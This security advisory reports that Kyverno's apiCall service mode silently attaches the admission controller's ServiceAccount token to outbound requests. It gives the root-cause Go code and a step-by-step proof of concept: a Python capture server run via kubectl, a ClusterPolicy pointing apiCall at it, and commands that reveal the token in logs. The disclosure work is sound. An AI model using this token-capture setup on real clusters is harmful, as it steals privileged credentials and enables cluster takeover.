Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)

Summary

### Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in. --- ### Details Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from: `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it into every HTTP request as: ``` Authorization: Bearer <token> ``` This occurs when no explicit `Authorization` header is defined in the policy. #### Root cause ```go if req.Header.Get("Authorization") == "" { token := a.getToken() if token != "" { req.Header.Add("Authorization", "Bearer "+token) } } ``` This logic introduces several issues: - **Implicit credential forwarding** to arbitrary endpoints - **No trust boundary validation** (external/internal distinction) - **Undocumented behavior** - **Header.Add instead of Set** allows duplication - **No token sanitization** (potential trailing newline) --- ### PoC #### Preconditions - Kyverno installed (v1.17.1 tested) - A policy using `apiCall.service.url` --- #### Step 1 — Deploy capture server ```bash kubectl run capture --image=python:3-slim --restart=Never -- \ python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print(self.headers.get('Authorization'), flush=True) self.send_response(200) self.end_headers() http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()" kubectl expose pod capture --port=8888 ``` --- #### Step 2 — Create policy ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: token-leak spec: rules: - name: test match: any: - resources: kinds: ["Pod"] context: - name: r apiCall: method: GET service: url: "http://capture.default.svc:8888" jmesPath: "@" ``` --- #### Step 3 — Trigger ```bash kubectl run test --image=nginx ``` --- #### Step 4 — Observe token ```bash kubectl logs capture ``` Output: ``` Authorization: Bearer <SA_TOKEN> ``` --- ### Impact #### Vulnerability class - Credential exposure / leakage #### Impact details - Exposure of Kubernetes ServiceAccount token - Token grants: - Full control over Kyverno policies - Ability to create/delete webhooks - Read cluster-wide resources - Privilege escalation and persistence